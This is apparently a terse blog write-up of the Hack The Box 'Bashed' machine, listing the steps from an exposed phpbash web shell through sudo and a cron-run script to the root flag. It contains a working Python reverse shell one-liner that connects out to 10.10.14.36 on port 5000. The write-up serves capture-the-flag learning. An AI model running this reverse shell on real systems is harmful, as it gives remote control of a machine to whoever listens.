Chez ouam

/home/jmfrouin

View on GitHub
11 April 2020

Bashed box on Hack the Box Write up

by Jean-Michel Frouin

General Infos

MindMap

Enumeration

Ports

Web

Exploitation

Using phpbash.php

User Flag

/home/arrexel/user.txt

Priv Esc

sudo -l

sudo -u scriptmanager bash

discover /script

test.txt created by test.py using cron each minute

Reverse Shell

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.36”,5000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Root Flag

cat /root/root.txt

tags: